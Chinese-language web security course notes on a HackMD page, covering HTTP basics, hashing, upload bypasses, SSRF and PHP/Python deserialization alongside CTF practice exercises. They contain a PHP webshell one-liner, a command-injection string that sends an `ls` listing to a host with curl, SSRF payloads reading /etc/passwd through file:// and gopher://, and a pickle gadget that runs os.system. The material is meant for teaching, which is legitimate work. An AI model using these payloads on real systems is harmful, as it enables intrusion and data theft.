李元魁
    • Create new note
    • Create a note from template
      • Sharing URL Link copied
      • /edit
      • View mode
        • Edit mode
        • View mode
        • Book mode
        • Slide mode
        Edit mode View mode Book mode Slide mode
      • Customize slides
      • Note Permission
      • Read
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Write
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Engagement control Commenting, Suggest edit, Emoji Reply
    • Invite by email
      Invitee

      This note has no invitees

    • Publish Note

      Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

      Your note will be visible on your profile and discoverable by anyone.
      Your note is now live.
      This note is visible on your profile and discoverable online.
      Everyone on the web can find and read all notes of this public team.
      See published notes
      Unpublish note
      Please check the box to agree to the Community Guidelines.
      View profile
    • Commenting
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
      • Everyone
    • Suggest edit
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
    • Emoji Reply
    • Enable
    • Versions and GitHub Sync
    • Note settings
    • Note Insights New
    • Engagement control
    • Make a copy
    • Transfer ownership
    • Delete this note
    • Save as template
    • Insert from template
    • Import from
      • Dropbox
      • Google Drive
      • Gist
      • Clipboard
    • Export to
      • Dropbox
      • Google Drive
      • Gist
    • Download
      • Markdown
      • HTML
      • Raw HTML
Menu Note settings Note Insights Versions and GitHub Sync Sharing URL Create Help
Create Create new note Create a note from template
Menu
Options
Engagement control Make a copy Transfer ownership Delete this note
Import from
Dropbox Google Drive Gist Clipboard
Export to
Dropbox Google Drive Gist
Download
Markdown HTML Raw HTML
Back
Sharing URL Link copied
/edit
View mode
  • Edit mode
  • View mode
  • Book mode
  • Slide mode
Edit mode View mode Book mode Slide mode
Customize slides
Note Permission
Read
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Write
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Engagement control Commenting, Suggest edit, Emoji Reply
  • Invite by email
    Invitee

    This note has no invitees

  • Publish Note

    Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

    Your note will be visible on your profile and discoverable by anyone.
    Your note is now live.
    This note is visible on your profile and discoverable online.
    Everyone on the web can find and read all notes of this public team.
    See published notes
    Unpublish note
    Please check the box to agree to the Community Guidelines.
    View profile
    Engagement control
    Commenting
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    • Everyone
    Suggest edit
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    Emoji Reply
    Enable
    Import from Dropbox Google Drive Gist Clipboard
       Owned this note    Owned this note      
    Published Linked with GitHub
    3
    • Any changes
      Be notified of any changes
    • Mention me
      Be notified of mention me
    • Unsubscribe
    # Web 進階(11/7) - https://reurl.cc/GrLk5y - https://140.110.112.78/ [TOC] ## 0x00 基礎補充 ### HTTP Methods - **GET**(取得) - **POST**(送出表單,header 後面可接 body) 假如你想送出資料,例如表單,但不想加資料在 URL 後面,可以用 POST 塞在 body。 - **HEAD**(跟 GET 一樣但只拿 header) 假如你想測試某個檔案是存在,可以用 HEAD 看是不是 404 避免下載。 - **PUT**, **PATCH**(修改,header 後面可接 body,跟 POST 功能差不多) - **DELETE**(刪除) - **OPTIONS**(可看資源的選項) > cURL 使用任意 method 做 request: > ```sh > curl -X OPTIONS -v https://example.com/ > ``` :::warning 【練習 0】[Web Level 1] HTTP Method 【練習 1】[Web Level 3] New HTTP method ::: ### HTTP Response Status Code - 1xx(資訊回應) - 2xx(成功回應) - 200 OK - 3xx(重定向) - 301 Moved Permanently - 302 Found - 307 Temporary Redirect(考慮 http method) - 308 Permanent Redirect(考慮 http method) - 4xx(用戶端錯誤) - 400 Bad Request - 401 Unauthorized - 403 Forbidden - 404 Not Found - 405 Method Not Allowed - 5xx(伺服器端錯誤) - 500 Internal Server Error - 502 Bad Gateway 補充: * [HTTP 狀態碼 - HTTP | MDN](https://developer.mozilla.org/zh-TW/docs/Web/HTTP/Status) * [搞懂 http 3xx 重新導向狀態碼](https://medium.com/@dubiety/%E6%90%9E%E6%87%82-http-3xx-%E9%87%8D%E6%96%B0%E5%B0%8E%E5%90%91%E7%8B%80%E6%85%8B%E7%A2%BC-f1a288c1cd20) ### 編碼(Encoding)、加密(Encryption)、雜湊(Hashing) #### 編碼(Encoding) 有時需要只用部分字元表達 binary 資料,所以定義了出幾種轉換方法。 1. **Base64 encoding** 轉換成用 `A-Z` `a-z` `0-9` `+/=` 表示(其實總共可能出現 65 種字元) PHP ```php base64_encode("\x00") "AA==" base64_encode("\x00\x01") "AAE=" base64_encode("\x00\x01\x02") "AAEC" base64_encode("\x00\x01\x02\x03") "AAECAw==" base64_encode("你好") "5L2g5aW9" ``` 指令 ```bash $ echo -n 你好 | base64 5L2g5aW9 $ echo -n 5L2g5aW9 | base64 --decode 你好 ``` 2. **URL encoding** 常用於網址和 HTTP header,因為 HTTP 不允許非 ASCII 字元。 PHP ```php urlencode("I love you") "I+love+you" urlencode('; curl http://example.com/?`ls | base64`') "%3B+curl+http%3A%2F%2Fexample.com%2F%3F%60ls+%7C+base64%60" urlencode('哈') "%E5%93%88" urlencode(' +') "+%2B" ``` #### 加密(Encryption) 將明文資料轉成密文,有 key 才能解回來看明文。 #### 雜湊(Hashing) 將輸入 bytes 轉換成一組較短的 bytes 輸出。要求單向映射無法逆推、不同的輸入要有不同的輸出,可以用來比較資料一不一樣,例如檢查密碼對不對。 1. **MD5**, **SHA1** PHP ```php echo md5('hi'); // 49f68a5c8493ec2c0bf489821c21fc3b echo md5('ho'); // b5d9b59113086d3f9f9f108adaaa9ab5 echo sha1('hi'); // c22b5f9178342609428d6f51b2c5af4c0bde6a42 echo sha1('ho'); // 9a76a857ad399b492ba01879d0fa2d717e4430b2 ``` 指令 ```bash $ echo -n hi | md5sum /dev/stdin 49f68a5c8493ec2c0bf489821c21fc3b /dev/stdin $ echo -n hi | sha1sum /dev/stdin c22b5f9178342609428d6f51b2c5af4c0bde6a42 /dev/stdin ``` 已經不安全了,還有[很多網站可以用來逆推](https://hashtoolkit.com/)。 2. [目前常見的雜湊演算法](https://zh.wikipedia.org/wiki/%E6%95%A3%E5%88%97%E5%87%BD%E6%95%B8#%E7%9B%AE%E5%89%8D%E5%B8%B8%E8%A6%8B%E7%9A%84%E9%9B%9C%E6%B9%8A%E6%BC%94%E7%AE%97%E6%B3%95) > 處理字串的好工具:「CyberChef」 > https://gchq.github.io/CyberChef/ :::warning 【練習 2】[Web Level 2] Md5 collision 【練習 3】[Web Level 2] sha1 collision 提示:"magic hashes" ::: ## 0x01 上傳檢查問題 * 若 server 支援 php,則我們要避免使用者上傳 php 程式,以免被用來執行任意 code * [在 Apache 使用 .htaccess 檔案防止 PHP 被解析](https://electrictoolbox.com/disable-php-apache-htaccess/) ``` RemoveHandler .php .phtml .php3 RemoveType .php .phtml .php3 php_flag engine off ``` * 根本沒檢查檔名 可傳 Webshell: ```php <?php system($_GET['x']); ?> ``` :::warning 【練習 4】[Web Level 3] ImageUploader ::: * 檔案類型檢查常常只檢查檔案 header,後面塞髒東西不會影響。 :::warning 【練習 5】[Web Level 4] ImageUploader2 ::: > 補充:VIM 小抄 > `v`: 選擇字元(選完按 `d` 可以刪除) > `gg`: 到第一行 > `G`: 到最後一行 > `End`: 到行尾 > `Home`: 到行頭 > 補充:不用 VIM 的方法 > ```bash > ( head -c 500 image.png; cat shell.php ) > image.phtml > ``` > 補充:邊打邊跑 PHP > PsySH: https://psysh.org/ * Apache 設定檔中,如何決定是否將檔案視為 php 去解析? 例如在 `/etc/apache2/mods-available/php7.4.conf` ```xml <FilesMatch ".+\.ph(ar|p|tml)$"> SetHandler application/x-httpd-php </FilesMatch> ``` - `.+\.ph(ar|p|tml)$` 是 [regular expresion](https://blog.techbridge.cc/2020/05/14/introduction-to-regular-expression/),用來匹配檔案名稱 :::warning 【練習 6】[Web Level 3] sh3ll_upload3r 提示:`page.php.` 以前常被設定視為 php 解析 ::: ## 0x02 跨站請求偽造 (SSRF, Server Side Request Forgery) 問題:後端拿使用者輸入的網址去 request 其他地方 - 可能的實作 ```php <?php # https://www.php.net/manual/en/wrappers.php echo file_get_contents($_GET['url']); # https://curl.haxx.se/docs/manpage.html $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $_GET['url']); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_REDIR_PROTOCOLS, CURLPROTO_ALL); $data = curl_exec($ch); $type = curl_getinfo($ch, CURLINFO_CONTENT_TYPE); echo $data; ``` - 以上都不只會吃一般 HTTP 的網址 - `file_get_contents` - 檔名 - `file://` - `http://` - `https://` - `php://` - ... - curl - `http://` - `https://` - `file://` - `gopher://` - ... - 一旦後端這樣寫,而且 url 可控,有很多招可以玩 - 用 `file://` 讀 server 上的檔案 - 讀 `/etc/passwd`:`file:///etc/passwd` - 讀程式目前工作路徑下的檔案:`file:///proc/self/cwd/index.php` - 讀網段表 `/proc/net/fib_trie` - 用 `gopher://` 模仿任意協定(如果使用 curl) - TCP - HTTP - Redis - MySQL - SMTP - 掃內網的 port 例如用 gopher 模仿 HTTP ``` curl gopher://example.com:80/_GET%20%2F%20HTTP%2F1.1%0D%0AHost%3Aexample.com%0D%0A%0D%0A ``` :::warning 【練習 7】[Web Level 3] Orange_demo-1 【練習 8】[Web] SSRF Noob ::: :::info 【補充題】https://bamboofox.cs.nctu.edu.tw:14653/ 【補充題】https://bamboofox.cs.nctu.edu.tw:14654/ ::: ## 0x03 反序列化攻擊(Deserialization Attacks) - 序列化(Serialization):將記憶體中的程式物件轉換成 bytes - 反序列化(deserialization):將 bytes 轉回程式物件 - 直接把記憶體內容存起來不行嗎? - 為何不好? - 資料結構複雜,不知道物件的記憶體範圍 - 有些欄位是一次性的,對下次 load 出的物件沒意義 - 不知道哪些要存哪些不用存 - 如何解決? - 預設把物件的 property 都存起來 - 如果必要,可針對類別定義如何序列化或反序列化 - 常見程式語言都有內建序列化功能 ``` PHP serialize() unserialize() Python pickle.dump() pickle.load() Ruby Marshal.dump() Marshal.load() JavaScript JSON.stringify() JSON.parse() Java java.io.Serializable + Object[Input|Output]Stream ... ``` - 補充投影片:https://docs.google.com/presentation/d/1rSfM8UMTkEj6-zbH3q3Mq94mI5TH1WEX2t5I7DSvL5Y/edit?usp=sharing ### 類別(class)與物件(object) 簡而言之,類別是物件的藍圖。我們定義類別,用類別產生物件。 - 用途: - 把程式碼包裝起來,以重複利用 - 變數 → 物件的屬性 - 函式 → 物件的方法 - 物件導向程式設計(OOP) - 封裝 - 繼承 - ... - 常見用語: - 建構子(constructor) - 解構子(destructor) - 屬性(property) - 方法(method) ### PHP ```php class User { public $name = ''; function __construct($name) { $this->name = $name; } function sayHi() { echo "my name is $this->name\n"; } } $user = new User('David'); $user->sayHi(); // my name is David echo serialize($user); // O:4:"User":1:{s:4:"name";s:5:"David";} $fakeUser = unserialize('O:4:"User":1:{s:4:"name";s:6:"Hacker";}'); $fakeUser->sayHi(); // my name is Hacker ``` **PHP 中常常被攻擊的 Magic Function** 如果這裡面危險操作會用到屬性,容易被攻擊 - `__destruct()` PHP物件解構子 - `__wakeup()` 反序列化塞完屬性之後會被用來初始化物件 - `__toString()` 自動轉成字串時被用到 :::warning 【練習 9】[Web Level 4] To serialize or Not to serialize ::: > 架一個簡單的 PHP server 做測試 > ```bash > vim index.php > php -S 0.0.0.0:8000 > ``` ### Python Python serialize / deserialize ```python #!/usr/bin/env python3 import pickle class User: def __init__(self, name): self.name = name def sayHi(self): print('hi my name is', self.name) pickle.dumps(User('David')) # b'\x80\x03c__main__\nUser\nq\x00)\x81q\x01}q\x02X\x04\x00\x00\x00nameq\x03X\x05\x00\x00\x00Davidq\x04sb.' u = pickle.loads(b'\x80\x03c__main__\nUser\nq\x00)\x81q\x01}q\x02X\x04\x00\x00\x00nameq\x03X\x05\x00\x00\x00Davidq\x04sb.') # <__main__.User at 0x7f88065ca2b0> u.sayHi() # hi my name is David ``` **如何攻擊?** - `__reduce__` 在**序列化**時會被 call,回傳值為 `(function, (arg1, arg2, ...))` 這種形式,這東西會被放在序列化後字串的 bytes 中,當在做反序列化時,物件會以 `function(arg1, arg2, ...)` 的方式建立。 ```python #!/usr/bin/env python3 import pickle import os class User: def __init__(self, name): self.name = name def __reduce__(self): return (os.system, (self.name, )) s = pickle.dumps(User('echo 123')) # s: b'\x80\x03cposix\nsystem\nq\x00X\x08\x00\x00\x00echo 123q\x01\x85q\x02Rq\x03.' pickle.loads(s) # 123 ``` 補充:Python 2 ```python #!/usr/bin/env python import cPickle # or pickle import os class User(object): # 要有 object def __init__(self, name): self.name = name def __reduce__(self): return (os.system, (self.name, )) cPickle.loads(cPickle.dumps(User('ls'))) ``` :::warning 【練習 10】[Web Level 4] Kaibro_easy-pickle ::: ## 0x04 其他水題 :::warning 【練習 11】[Web Level 2] Download 【練習 12】[Web Level 4] Ev41 :::

    Import from clipboard

    Paste your markdown or webpage here...

    Advanced permission required

    Your current role can only read. Ask the system administrator to acquire write and comment permission.

    This team is disabled

    Sorry, this team is disabled. You can't edit this note.

    This note is locked

    Sorry, only owner can edit this note.

    Reach the limit

    Sorry, you've reached the max length this note can be.
    Please reduce the content or divide it to more notes, thank you!

    Import from Gist

    Import from Snippet

    or

    Export to Snippet

    Are you sure?

    Do you really want to delete this note?
    All users will lose their connection.

    Create a note from template

    Create a note from template

    Oops...
    This template has been removed or transferred.
    Upgrade
    All
    • All
    • Team
    No template.

    Create a template

    Upgrade

    Delete template

    Do you really want to delete this template?
    Turn this template into a regular note and keep its content, versions, and comments.

    This page need refresh

    You have an incompatible client version.
    Refresh to update.
    New version available!
    See releases notes here
    Refresh to enjoy new features.
    Your user state has changed.
    Refresh to load new user state.

    Sign in

    Forgot password

    or

    By clicking below, you agree to our terms of service.

    Sign in via Facebook Sign in via Twitter Sign in via GitHub Sign in via Dropbox Sign in with Wallet
    Wallet ( )
    Connect another wallet

    New to HackMD? Sign up

    Help

    • English
    • 中文
    • Français
    • Deutsch
    • 日本語
    • Español
    • Català
    • Ελληνικά
    • Português
    • italiano
    • Türkçe
    • Русский
    • Nederlands
    • hrvatski jezik
    • język polski
    • Українська
    • हिन्दी
    • svenska
    • Esperanto
    • dansk

    Documents

    Help & Tutorial

    How to use Book mode

    Slide Example

    API Docs

    Edit in VSCode

    Install browser extension

    Contacts

    Feedback

    Discord

    Send us email

    Resources

    Releases

    Pricing

    Blog

    Policy

    Terms

    Privacy

    Cheatsheet

    Syntax Example Reference
    # Header Header 基本排版
    - Unordered List
    • Unordered List
    1. Ordered List
    1. Ordered List
    - [ ] Todo List
    • Todo List
    > Blockquote
    Blockquote
    **Bold font** Bold font
    *Italics font* Italics font
    ~~Strikethrough~~ Strikethrough
    19^th^ 19th
    H~2~O H2O
    ++Inserted text++ Inserted text
    ==Marked text== Marked text
    [link text](https:// "title") Link
    ![image alt](https:// "title") Image
    `Code` Code 在筆記中貼入程式碼
    ```javascript
    var i = 0;
    ```
    var i = 0;
    :smile: :smile: Emoji list
    {%youtube youtube_id %} Externals
    $L^aT_eX$ LaTeX
    :::info
    This is a alert area.
    :::

    This is a alert area.

    Versions and GitHub Sync
    Get Full History Access

    • Edit version name
    • Delete

    revision author avatar     named on  

    More Less

    Note content is identical to the latest version.
    Compare
      Choose a version
      No search result
      Version not found
    Sign in to link this note to GitHub
    Learn more
    This note is not linked with GitHub
     

    Feedback

    Submission failed, please try again

    Thanks for your support.

    On a scale of 0-10, how likely is it that you would recommend HackMD to your friends, family or business associates?

    Please give us some advice and help us improve HackMD.

     

    Thanks for your feedback

    Remove version name

    Do you want to remove this version name and description?

    Transfer ownership

    Transfer to
      Warning: is a public team. If you transfer note to this team, everyone on the web can find and read this note.

        Link with GitHub

        Please authorize HackMD on GitHub
        • Please sign in to GitHub and install the HackMD app on your GitHub repo.
        • HackMD links with GitHub through a GitHub App. You can choose which repo to install our App.
        Learn more  Sign in to GitHub

        Push the note to GitHub Push to GitHub Pull a file from GitHub

          Authorize again
         

        Choose which file to push to

        Select repo
        Refresh Authorize more repos
        Select branch
        Select file
        Select branch
        Choose version(s) to push
        • Save a new version and push
        • Choose from existing versions
        Include title and tags
        Available push count

        Pull from GitHub

         
        File from GitHub
        File from HackMD

        GitHub Link Settings

        File linked

        Linked by
        File path
        Last synced branch
        Available push count

        Danger Zone

        Unlink
        You will no longer receive notification when GitHub file changes after unlink.

        Syncing

        Push failed

        Push successfully